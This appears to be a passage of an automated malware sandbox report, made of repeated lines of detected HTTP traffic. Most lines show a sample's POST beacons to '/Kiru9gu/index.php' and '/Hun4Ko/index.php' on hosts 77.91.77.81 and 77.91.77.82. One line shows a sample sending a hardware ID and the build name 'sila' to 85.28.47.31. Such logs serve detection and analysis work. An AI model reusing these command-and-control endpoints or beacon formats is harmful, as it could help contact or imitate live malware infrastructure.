Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFIHost: 85.28.47.31Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 45 45 30 33 45 36 32 37 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="hwid"C5EE03E62791922063497------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="build"sila------IEHDBGDHDAECBGDHJKFI--
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 